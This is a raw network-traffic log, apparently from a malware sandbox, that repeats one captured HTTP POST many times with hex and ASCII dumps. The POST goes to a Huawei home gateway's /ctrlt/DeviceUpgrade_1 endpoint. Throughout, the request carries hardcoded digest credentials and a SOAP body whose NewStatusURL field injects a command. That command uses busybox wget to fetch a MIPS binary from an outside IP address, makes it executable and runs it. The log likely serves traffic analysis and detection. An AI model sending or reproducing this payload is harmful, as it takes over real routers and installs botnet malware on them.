35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 